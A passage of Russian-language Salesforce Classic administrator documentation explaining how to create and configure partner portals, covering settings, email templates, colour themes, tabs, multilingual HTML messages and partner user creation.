• Создание имен пользователей и паролей для
партнерского портала

• Управление информацией о пользователях
партнерского портала

• Управление пользователями партнерского портала
посредством полномочий, ролей и правил общего
доступа

Пользователи-партнеры могут обновлять собственные
данные.

Пользовательские элементы управления

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала

Настройка партнерского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Длянастройкипартнерского
портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Чтобы настроить партнерский портал, выполните указанные ниже действия.

1. Создайте как минимум один портал.

Для каждого портала:

a. Настройте параметры ишаблоны сообщений.

Мастер преобразования доступа пользователя портала отображается
автоматически после начального сохранения параметров первого клиентского

1969
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или партнерского портала. Данный мастер позволяет заблокировать доступ пользователей портала к записям и
папкам, принадлежащим пользователям Salesforce.

b. Настройте шрифты и цвета.

c. Настройте доступные вкладки и порядок вкладок.

d. Настройте языки портала.

2. При необходимости включите поддержку Salesforce CRM Content, Salesforce Knowledge, функции управления правами,
сообщества «Идеи» или «Ответы».

3. Создайте профили партнеров.

Для каждого профиля партнера:

a. Настройте макеты страниц.

b. Настройте списковые представления.

Пользователи партнерского портала могут автоматически просматривать любые списковые представления с
параметрамидоступности, помеченнымикак «Данное представление доступно всем пользователям». Рекомендуем
создатьспециальныесписковыепредставлениядлявсехобъектов, доступныхпользователямпортала, иназначить
пользователям портала только нужные списковые представления.

c. Настройте макеты поиска.

Макеты поиска в организациях Salesforce аналогичны макетам поиска, используемым на партнерском портале.
Убедитесь, чтомакетыпоиска для объектов, доступныхпользователямпортала, содержат только те поля, которые
должны отображаться в результатах поиска.

4. Назначьте профили партнеров партнерским порталам.

5. При необходимости включите функцию единой регистрации.

6. Включите вход для каждого партнерского портала.

7. Создайте пользователей-партнеров.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала
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Создание партнерских порталов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания партнерских
порталов:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

ПослевключенияпартнерскогопорталаSalesforceпользовательможетсоздатьнесколько
партнерских порталов, удовлетворяющих различным бизнес-требованиям клиентов.

Прим.: Каждая организация может создавать не более 5 партнерских порталов.
Чтобы увеличить данное количество, обратитесь к менеджеру по продукции и
подробно опишите случаи использования.

Чтобы создать партнерский портал, выполните указанные ниже действия.

1. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

2. Нажмите кнопку «Создать».

3. Заполните поля ниже.

ОписаниеПараметр

Имя партнерского портала, отображаемое на страницах
просмотраиредактированиясведенийопортале, а также

Имя

на странице «Настройка партнерского портала». Имя
партнерского портала не отображается на страницах
портала, ноотображаетсявстрокезаголовкаобозревателя.

Имя портала должно быть уникальным для организации
инеможетиспользоватьсяклиентскимилипартнерским
порталом. Более того, имя «партнерский портал»,
указанное для клиентского портала, может вызвать
возникновение ошибки.

Описание партнерского портала, отображаемое на
страницах просмотра и редактирования сведений о

Описание

портале. Описаниепартнерскогопорталанеотображается
на страницах портала.
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ОписаниеПараметр

Данный параметр позволяет пользователям входить на
партнерский портал.

Прежде чем установить данныйфлажок, рекомендуем
выполнить полную настройку портала.

Вход включен

Прим.: При включении партнерского портала
стандартный портал помечается флажком «Вход
включен».

Восстановлениепаролей возможно толькоприналичии
доступа к партнерскому порталу, а также при
использовании диапазона IP-адресов и времени входа,
заданных в профиле пользователя.

Чтобы выбрать стандартного администратора

партнерского портала, щелкните значок поиска ( ).

Администратор

Данный пользователь Salesforce будет получать все
электронные уведомления о партнерском портале.

Администратором партнерского портала может быть
выбран пользователь с полномочиями «Управление
внешнимипользователями»и «Настройкаприложения»,
а также доступом к папке «Документы», содержащей
верхний колонтитулпартнерскогопортала. Пользователь,
выбранныйвкачестве администраторапортала, неможет
быть деактивирован.

Стандартные параметры портала

ОписаниеПараметр

URL-адресвеб-страницы, отображающейсяпользователям
после выхода из партнерского портала (например,

URL-адрес выхода

http://www.acme.com). Впротивномслучаепользователям
портала отображается страница входа.

Данный параметр позволяет пользователям
просматриватьсообщения-подтвержденияовыполнении

Показать подтверждение о выполнении действия

действиянапартнерскомпортале. Например, еслиданный
параметр включен, то после создания интереса на
партнерском портале пользователю отображается
сообщение: «Интерес создан».

Сообщения-подтверждения позволяют пользователям
просмотреть действия, выполненные на партнерском
портале.
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Стандартные параметры портала

ОписаниеПараметр

Данный параметр определяет язык отображения
HTML-сообщенийпортала, если HTML-сообщенияпортала

Язык по умолчанию для HTML-сообщений

на настраиваемом языке не используются. Данный
параметрдоступентолькомногоязычныморганизациям.

Параметры электронных уведомлений

ОписаниеПараметр

Адрес эл. почты, используемый для отправки всех
шаблонов сообщенийпартнерскогопортала (например,

Адрес эл. почты отправителя

support@acme.com). Сообщения эл. почты отправляются
системой Salesforce автоматически, но данный адрес
отображается в поле отправителя. Ответ пользователя
портала на шаблон сообщения отправляется на данный
адрес.

Имя, связанное с параметром «Адрес эл. почты
отправителя» (например, «Служба поддержки Acme»).

Имя эл. почты отправителя

Шаблон эл. почты, используемый для отправки имени
пользователя и исходного пароля всем новым

Шаблон создания пользователя

пользователям партнерского портала. По умолчанию
образец шаблона выбирается автоматически. Данный
шаблон должен быть помеченфлажком «Доступно для
использования».

Шаблон эл. почты, используемый для отправки нового
пароля текущим пользователям партнерского портала
при восстановлении паролей.

Шаблон создания пароля

Шаблон эл. почты, используемый для отправки нового
пароля текущим пользователям партнерского портала

Шаблон восстановления пароля

при восстановлении паролей посредством ссылки
«Забыли пароль?» на странице входа партнерского
портала.

Шаблон эл. почты, используемый для отправки
уведомления пользователям партнерского портала при
назначении ответственности за запись на портале.

Шаблон смены ответственного на пользователя портала

Внешний вид

ОписаниеПараметр

Текстовыйили HTML-файл, которыйпозволяетдобавлять
фирменный стиль организации в верхний колонтитул

Верхний колонтитул
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Внешний вид

ОписаниеПараметр

партнерскогопортала. Чтобывыбратьфайл, загруженный
в общедоступную папку на вкладке «Документы»,

щелкните значок поиска ( ).

Общий размер файлов, указанных в полях «Верхний
колонтитул» и «Нижний колонтитул», не должен
превышать 10 Кб.

Рекомендуем избегать одновременного использования
верхнего колонтитула и логотипа на портале, что может
инициировать их некорректное отображение.

Чтобы разместить ссылку выхода в любой области
верхнего колонтитула, воспользуйтесь следующим
HTML-тегом: “<a
href="/secur/logout.jsp">Выход</a>".

Текстовыйили HTML-файл, которыйпозволяетдобавлять
фирменный стиль организации в нижний колонтитул

Нижний колонтитул

партнерскогопортала. Чтобывыбратьфайл, загруженный
в общедоступную папку на вкладке «Документы»,

щелкните значок поиска ( ).

Общий размер файлов, указанных в полях «Верхний
колонтитул» и «Нижний колонтитул», не должен
превышать 10 Кб.

Графический файл (.jpg, .gif, .png), который позволяет
добавлять фирменный стиль организации в верхний

Логотип

левый угол партнерского портала. Чтобы выбрать файл,
загруженный в общедоступную папку на вкладке
«Документы», и помеченный атрибутом «Доступен
внешне как изображение», щелкните значок поиска

( ).

Размер файла, указанного в поле поиска «Логотип», не
должен превышать 20 Кб.

Рекомендуем избегать одновременного использования
верхнего колонтитула и логотипа на портале, что может
инициировать их некорректное отображение.

Текстовыйили HTML-файл, которыйпозволяетдобавлять
фирменный стиль организации в верхний колонтитул

Приветствие

страницы входа, страницы восстановления пароля и
страницы изменения пароля на партнерском портале.
Чтобы выбрать файл, загруженный в общедоступную
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Внешний вид

ОписаниеПараметр

папку на вкладке «Документы», щелкните значок поиска

( ).

Размерфайла, указанного в поле поиска «Приветствие»,
не должен превышать 2 Кб.

Прим.:  JavaScript и код CSS автоматически
удаляются из HTML-файлов, используемых в
качестве приветствия портала.

4. Нажмите кнопку «Сохранить».

Прим.: Дополнительную информацию о количестве партнерских порталов, доступном для активации, можно
получить в компании Salesforce.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала

Настройка шрифтов и цветов партнерского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки шрифтов и
цветов партнерского
портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Фирменный стиль компанииможет быть сохраненпутемнастройкишрифтов и цветов
партнерского портала Salesforce. Цветовая тема портала определяет шрифты и цвета,
используемые на портале. Выберите предопределенную цветовую тему и при
необходимости настройте ее в соответствии с фирменным стилем компании. Чтобы
просмотреть все атрибуты темы, доступные для настройки, щелкните ссылку «См.
примеры».

1. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

2. Выберите имя нужного партнерского портала.

3. Нажмите кнопку «Изменитьшрифты и цвета портала».
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4. Выберите нужную цветовую тему в раскрывающемся списке «Цветовая тема». Чтобы создать собственную тему,
выберите значение «Настраиваемая» в раскрывающемся списке «Цветовая тема». Выбранная цветовая тема
автоматически отображается в разделе «Предварительный просмотр».

5. При необходимости настройте цвет любой выбранной темы.

• Введите шестнадцатеричное значение в любой атрибут темы.

• Щелкните шестнадцатеричное значение любого атрибута темы и выберите нужный цвет посредством
интерактивного редактора.

Присохранениинастроеннойтемеавтоматическиназначаетсяимя «Настраиваемая». Нижеперечисленыпараметры,
доступные для настройки, которые автоматически отображаются в разделах «Предварительный просмотр».

Стили вкладки

ОписаниеАтрибут темы

Цвет текста выбранной вкладки.Текст текущей вкладки

Цвет фона выбранной вкладки.Фон текущей вкладки

Цвет границы выбранной вкладки.Граница текущей вкладки

Цвет текста неактивных вкладок.Текст другой вкладки

Цвет фона неактивных вкладок.Фон другой вкладки

Цвет границы неактивных вкладок.Граница другой вкладки

Цвет фона позади всех вкладок.Фон панели вкладки

Стили страницы

ОписаниеАтрибут темы

Цвет фона портала, кроме полей поиска, связанных
списков, недавних элементов, категорийрешений, папок
документов и раскрывающегося списка «Создать...».

Фон страницы

Цвет, размеришрифттекстадля всех элементовпортала,
кроме вкладок, кнопок, верхних колонтитулов и меток
полей.

Чтобы увеличить или уменьшить размер всех элементов
портала, измените значение, отображаемое в поле

Текст

процентов. При необходимости измените шрифт всех
элементов портала, кроме вкладок, кнопок, верхних
колонтитулов и меток полей, посредством
раскрывающегося списка.

Цвет текста для имен полей в записях.

Принеобходимостиизменитешрифттекстапосредством
раскрывающегося списка.

Текст метки поля
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Стили страницы

ОписаниеАтрибут темы

Цвет текста для всех ссылок.Ссылка

Цвет текста для всех ссылок, отображающихся при
наведении указателя мыши.

Всплывающая ссылка

Цвет линий, разделяющих поля в записях.Разделитель полей

Цвет нижней границы портала.Нижняя граница

Стили раздела

ОписаниеАтрибут темы

Цветфонадлявсехверхнихколонтитулов, включаяполя
поиска, недавниеэлементы, связанныесписки, категории
решений, папки документов и выбранную вкладку.

Фон заголовка

Цвет и шрифт текста для верхних колонтитулов полей
поиска, связанныхсписков, недавнихэлементов, категорий
решений и папок документов.

Принеобходимостиизменитешрифттекстапосредством
раскрывающегося списка.

Текст заголовка раздела

Граница слева от полей поиска, связанных списков,
недавних элементов, категорий решений, папок
документов и раскрывающегося списка «Создать...».

Чтобы увеличить или уменьшить толщину границы,
измените значение, отображаемое в поле пикселов. При

Левая граница

необходимости выберите стиль линии, используемой
дляотображенияграницы, посредствомраскрывающегося
списка.

Граница справа от полей поиска, связанных списков,
недавних элементов, категорий решений, папок
документов и раскрывающегося списка «Создать...».

Чтобы увеличить или уменьшить толщину границы,
измените значение, отображаемое в поле пикселов. При

Правая граница

необходимости выберите стиль линии, используемой
дляотображенияграницы, посредствомраскрывающегося
списка.
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Стили раздела

ОписаниеАтрибут темы

Граница над полями поиска, связанными списками,
недавними элементами, категориями решений, папками
документов и раскрывающимся списком «Создать...».

Чтобы увеличить или уменьшить толщину границы,
измените значение, отображаемое в поле пикселов. При

Верхняя граница

необходимости выберите стиль линии, используемой
дляотображенияграницы, посредствомраскрывающегося
списка.

Граница под полями поиска, связанными списками,
недавними элементами, категориями решений, папками
документов и раскрывающимся списком «Создать...».

Чтобы увеличить или уменьшить толщину границы,
измените значение, отображаемое в поле пикселов. При

Нижняя граница

необходимости выберите стиль линии, используемой
дляотображенияграницы, посредствомраскрывающегося
списка.

Цветфонадляполейпоиска, связанныхсписков, недавних
элементов, категорий решений, папок документов и
раскрывающегося списка «Создать...».

Фон раздела

Стили списка

ОписаниеАтрибут темы

Цвет текста для имен полей, выбранных в качестве
заголовков столбцов в списковых представлениях.

Принеобходимостиизменитешрифттекстапосредством
раскрывающегося списка.

Текст заголовка списка

Цвет линий под заголовками столбцов в связанных
списках и списковых представлениях.

Подчеркивание заголовка

Цветлиниймеждузаписямивсписковыхпредставлениях.Разделитель

Цвет записи, выбранной пользователем в списковом
представлении.

Выделение строки

6. Чтобы сохранить все внесенные изменения, нажмите кнопку «Сохранить».
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Совет: Изменения отображаются пользователям партнерского портала после обновления обозревателя.
Рекомендуем обновлять цветовую тему в непиковые часы использования партнерского портала.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала

Настройка вкладок партнерского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки вкладок
партнерского портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Ниже перечислены вкладки, которые могут отображаться на партнерском портале
помимо настраиваемых объектов.

• Организации

• Ответы

• Статьи (требуется поддержка Salesforce Knowledge)

• Обращения

• Контакты

• Документы

• Идеи

• Интересы

• Возможности

• Права

• Сервисные контракты

• Решения

• Вкладки Salesforce CRM Content

• Отчеты

Чтобы выбрать вкладки, которые должны отображаться пользователям при входе на партнерский портал Salesforce, и
определить порядок их отображения, выполните указанные ниже действия.

1. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры».

2. Выберите имя нужного партнерского портала.

3. Щелкните «Настроить вкладки портала».

4. Чтобыдобавитьилиудалитьвкладки, выберитенужнуювкладкувполе «Доступныевкладки» или «Выбранныевкладки»
и нажмите кнопку «Добавить» или «Удалить». Чтобы изменить порядок отображения вкладок, выберите нужную
вкладку в поле «Выбранные вкладки» и нажмите кнопку «Вверх» или «Вниз».
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5. При необходимости выберите нужную вкладку в раскрывающемся списке «Стандартная целевая вкладка».

6. Нажмите кнопку «Сохранить».

Чтобы выбрать вкладки, доступные пользователям, измените параметры вкладок в связанных профилях и наборах
полномочий.

Макеты страниц для вкладок партнерского портала определяются макетами страниц, настроенными в назначенных
профилях.

Чтобы изменить макеты вкладок для профиля, выполните указанные ниже действия.

1. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры».

2. Выберите имя нужного партнерского портала.

3. Выберите имя нужного профиля в связанном списке «Назначенные профили».

4. Щелкните «Просмотр назначения» напротив нужного стандартного или настраиваемого объекта под макетами
страниц.

5. Щелкните «Редактировать назначение».

6. Выберите новый макет страницы напротив имени редактируемого профиля.

7. Нажмите кнопку «Сохранить».

Включение календаря и событий на вкладке «Начальная страница»

Пользователи-партнеры могут просматривать календарь и список запланированных событий на вкладке «Начальная
страница» партнерского портала. Календарь и события, доступные на партнерском портале, поддерживают функции
календаря и событий, доступных на вкладке «Начальная страница» системы Salesforce, кроме: проверка орфографии,
обновлениесобытий, расширенныесписковыепредставления, планированиеспомощьюперетаскивания, общийдоступ
к календарю и всплывающие сведения.

Прим.: Пользователи-партнеры могут просматривать только календари, предоставленные:

• Другими пользователями-партнерами, назначенными той же организации

• Менеджером канала распределения для организации

Пользователипорталамогутпросматривать задачии событияпосредствомкалендаря. Кроме того, пользователипортала
с полномочием «Редактирование событий» могут создавать, редактировать и удалять события.

Включение компонента «Приветствие» на вкладке «Начальная страница»

Компонент «Приветствие партнерского портала» может быть добавлен в макеты начальной страницы, назначенные
пользователям партнерского портала. При входе на портал пользователям отображается индивидуальное приветствие,
содержащее имя менеджера канала распределения, а также ссылки на личный профиль и профиль компании. Имя
менеджера канала распределения, отображающееся в виде ссылки, может исспользоваться для отправки сообщений эл.
почты. Изменение сведенийопользователяхпорталаинициируетобновление соответствующихзаписейпользователей,
но не поддерживает автоматическое обновление записей контактов.

Прим.: Компонент «Приветствие партнерского портала» также отображается на начальной странице клиентского
портала, но содержит только индивидуальное приветствие.

Разрешение пользователям портала просмотра вкладки «Отчеты»

Чтобы разрешить пользователям портала просмотр вкладки «Отчеты», выполните указанные ниже действия.
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1. Предоставьте пользователям портала доступ к нужным папкам на вкладке «Отчеты» системы Salesforce.

2. Выберите значение «Личный» для единых стандартных параметров общего доступа к объектам, которые должны
использоваться для составления отчетов.

3. Предоставьте пользователям портала полномочие «Запуск отчетов».

При добавлении вкладки «Отчеты» на партнерский портал пользователи портала:

• могут запускать отчеты, но не могут настраивать отчеты или фильтровать результаты отчетов.

• могут экспортировать отчеты в Excel при наличии полномочия «Экспорт отчетов».

• не могут просматривать папки «Изъятые общедоступные отчеты» и «Мои личные настраиваемые отчеты».

• получают сообщение об отсутствии полномочий, необходимых для запуска отчета, содержащего недоступные
объекты.

Прим.: Вкладка «Отчеты» доступна только пользователям-партнерам с лицензией «Золотой партнер».

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала

Настройка многоязычных HTML-сообщений для партнерских порталов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки языков на
портале:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Приналичиимультиязычнойподдержкипользователимогутзагружать HTML-сообщения
на любом языке, поддерживаемом системой Salesforce, и настраивать параметры
отображениясообщенийнапорталенаосновеязыковыхпараметровпортала. Например,
HTML-сообщение может быть загружено нафранцузском языке, чтобы отображаться на
вкладке «Начальнаястраница» порталанафранцузскомязыке, ианглийскомязыке, чтобы
отображаться на вкладке «Начальная страница» портала на английском языке.

Прежде чем настроить многоязычные HTML-сообщения, просмотрите рекомендации
ниже.

• Прежде чем добавить многоязычное HTML-сообщение на портал, рекомендуем
загрузить HTML-файл на вкладку «Документы».

• HTML-сообщения портала не отображаются на вкладках «Идеи», «Отчеты», «Содержимое» и «Решения».

Чтобы настроить многоязычные HTML-сообщения, выполните указанные ниже действия.

1. Чтобынастроитьязыкотображениядляпартнерскогопортала, введитестроку «Параметры» вполе «Быстрый поиск»
в меню «Настройка» и выберите пункт «Параметры».

2. Щелкните имя нужного портала.
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3. Нажмите кнопку «Добавить новый язык» в связанном списке «Назначенные языки».

4. Выберите нужный язык в раскрывающемся списке «Язык».

5. Щелкните значок поиска ( ) напротив имени вкладки и выберите нужное HTML-сообщение. При необходимости
повторите данное действие для каждой вкладки.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала

Параметры партнерского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
партнерского портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Чтобыизменитьпараметрыишаблонысообщенийдляпартнерскогопортала, выполните
указанные ниже действия.

1. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

2. Щелкните имя нужного портала.

3. Нажмите кнопку «Правка».

4. Заполните поля ниже.

ОписаниеПараметр

Имя партнерского портала,
отображаемое на страницах просмотра

Имя

и редактирования сведений о портале, а
также на странице «Настройка
партнерского портала». Имя
партнерского портала не отображается
на страницах портала, но отображается
в строке заголовка обозревателя.

Имя портала должно быть уникальным
для организации и не может
использоваться клиентским или
партнерским порталом. Более того, имя
«партнерский портал», указанное для
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ОписаниеПараметр

клиентского портала, может вызвать возникновение
ошибки.

Описание партнерского портала, отображаемое на
страницах просмотра и редактирования сведений о

Описание

портале. Описаниепартнерскогопорталанеотображается
на страницах портала.

Данный параметр позволяет пользователям входить на
партнерский портал.

Прежде чем установить данныйфлажок, рекомендуем
выполнить полную настройку портала.

Вход включен

Прим.: При включении партнерского портала
стандартный портал помечается флажком «Вход
включен».

Восстановлениепаролей возможно толькоприналичии
доступа к партнерскому порталу, а также при
использовании диапазона IP-адресов и времени входа,
заданных в профиле пользователя.

Чтобы выбрать стандартного администратора

партнерского портала, щелкните значок поиска ( ).

Администратор

Данный пользователь Salesforce будет получать все
электронные уведомления о партнерском портале.

Администратором партнерского портала может быть
выбран пользователь с полномочиями «Управление
внешнимипользователями»и «Настройкаприложения»,
а также доступом к папке «Документы», содержащей
верхний колонтитулпартнерскогопортала. Пользователь,
выбранныйвкачестве администраторапортала, неможет
быть деактивирован.

Стандартные параметры портала

ОписаниеПараметр

URL-адресвеб-страницы, отображающейсяпользователям
после выхода из партнерского портала (например,

URL-адрес выхода

http://www.acme.com). Впротивномслучаепользователям
портала отображается страница входа.

Данный параметр позволяет пользователям
просматриватьсообщения-подтвержденияовыполнении

Показать подтверждение о выполнении действия

действиянапартнерскомпортале. Например, еслиданный
параметр включен, то после создания интереса на
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Стандартные параметры портала

ОписаниеПараметр

партнерском портале пользователю отображается
сообщение: «Интерес создан».

Сообщения-подтверждения позволяют пользователям
просмотреть действия, выполненные на партнерском
портале.

Данный параметр определяет язык отображения
HTML-сообщенийпортала, если HTML-сообщенияпортала

Язык по умолчанию для HTML-сообщений

на настраиваемом языке не используются. Данный
параметрдоступентолькомногоязычныморганизациям.

Параметры электронных уведомлений

ОписаниеПараметр

Адрес эл. почты, используемый для отправки всех
шаблонов сообщенийпартнерскогопортала (например,

Адрес эл. почты отправителя

support@acme.com). Сообщения эл. почты отправляются
системой Salesforce автоматически, но данный адрес
отображается в поле отправителя. Ответ пользователя
портала на шаблон сообщения отправляется на данный
адрес.

Имя, связанное с параметром «Адрес эл. почты
отправителя» (например, «Служба поддержки Acme»).

Имя эл. почты отправителя

Шаблон эл. почты, используемый для отправки имени
пользователя и исходного пароля всем новым

Шаблон создания пользователя

пользователям партнерского портала. По умолчанию
образец шаблона выбирается автоматически. Данный
шаблон должен быть помеченфлажком «Доступно для
использования».

Шаблон эл. почты, используемый для отправки нового
пароля текущим пользователям партнерского портала
при восстановлении паролей.

Шаблон создания пароля

Шаблон эл. почты, используемый для отправки нового
пароля текущим пользователям партнерского портала

Шаблон восстановления пароля

при восстановлении паролей посредством ссылки
«Забыли пароль?» на странице входа партнерского
портала.

Шаблон эл. почты, используемый для отправки
уведомления пользователям партнерского портала при
назначении ответственности за запись на портале.

Шаблон смены ответственного на пользователя портала

1984

Предоставление пользователям права на совместное
использование данных с партнерами

Настройка и обслуживание инструментов продаж



Внешний вид

ОписаниеПараметр

Текстовыйили HTML-файл, которыйпозволяетдобавлять
фирменный стиль организации в верхний колонтитул

Верхний колонтитул

партнерскогопортала. Чтобывыбратьфайл, загруженный
в общедоступную папку на вкладке «Документы»,

щелкните значок поиска ( ).

Общий размер файлов, указанных в полях «Верхний
колонтитул» и «Нижний колонтитул», не должен
превышать 10 Кб.

Рекомендуем избегать одновременного использования
верхнего колонтитула и логотипа на портале, что может
инициировать их некорректное отображение.

Чтобы разместить ссылку выхода в любой области
верхнего колонтитула, воспользуйтесь следующим
HTML-тегом: “<a
href="/secur/logout.jsp">Выход</a>".

Текстовыйили HTML-файл, которыйпозволяетдобавлять
фирменный стиль организации в нижний колонтитул

Нижний колонтитул

партнерскогопортала. Чтобывыбратьфайл, загруженный
в общедоступную папку на вкладке «Документы»,

щелкните значок поиска ( ).

Общий размер файлов, указанных в полях «Верхний
колонтитул» и «Нижний колонтитул», не должен
превышать 10 Кб.

Графический файл (.jpg, .gif, .png), который позволяет
добавлять фирменный стиль организации в верхний

Логотип

левый угол партнерского портала. Чтобы выбрать файл,
загруженный в общедоступную папку на вкладке
«Документы», и помеченный атрибутом «Доступен
внешне как изображение», щелкните значок поиска

( ).

Размер файла, указанного в поле поиска «Логотип», не
должен превышать 20 Кб.

Рекомендуем избегать одновременного использования
верхнего колонтитула и логотипа на портале, что может
инициировать их некорректное отображение.

Текстовыйили HTML-файл, которыйпозволяетдобавлять
фирменный стиль организации в верхний колонтитул

Приветствие

страницы входа, страницы восстановления пароля и
страницы изменения пароля на партнерском портале.
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Внешний вид

ОписаниеПараметр

Чтобы выбрать файл, загруженный в общедоступную
папку на вкладке «Документы», щелкните значок поиска

( ).

Размерфайла, указанного в поле поиска «Приветствие»,
не должен превышать 2 Кб.

Прим.:  JavaScript и код CSS автоматически
удаляются из HTML-файлов, используемых в
качестве приветствия портала.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала

Параметры партнерского портала
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Создание пользователей-партнеров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования,
отключения или
деактивации
пользователей-партнеров:
• «Управление внешними

пользователями»

Для создания контактов:
• «Создание» для

контактов

Для просмотра контактов:
• «Чтение» для контактов

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Пользователи-партнеры могут быть добавлены в созданную организацию-партнера в
качестве контактов. Пользователи-партнеры — это пользователи Salesforce, которым
предоставляется ограниченный доступ для управления интересами.
Пользователи-партнеры выполняют вход в систему Salesforce посредством портала.

Прежде чем создать партнеров, рекомендуем настроить порталы. В противном случае
пользователи-партнеры могут предпринять попытку входа на неактивный портал.

Чтобы создать пользователя-партнера, выполните указанные ниже действия.

1. Откройте нужную организацию-партнера.

2. Создайтеконтактдляпользователя-партнера. Нажмитекнопку«Создать»всвязанном
списке «Контакты». Заполните поля и нажмите кнопку «Сохранить».

3. Нажмите кнопку «Управление внешнимпользователем» на странице сведений о
контакте и выберите пункт «Включить пользователя-партнера».

4. Измените запись пользователя для данного партнера.

5. Нажмите кнопку «Сохранить».

Созданная записьпользователя-партнераможетредактироватьсянезависимоот записи
организации-партнера. Изменения, внесенные в одну запись, не влияют на другую.

Чтобы устранить неполадки или подтвердить конфигурацию портала, нажмите кнопку «Управление внешним
пользователем» на странице сведений о контакте и выберите пункт «Войти на портал в качестве пользователя».
Данное действие открывает новое окно обозревателя и выполняет автоматический вход от имени пользователя портала.

Советы по созданию пользователей-партнеров

Ниже перечислены рекомендации по созданию пользователей-партнеров.

• Пользователь, назначенныйделегированнымадминистратором, можетсоздаватьвнешнегопользователя, приусловии,
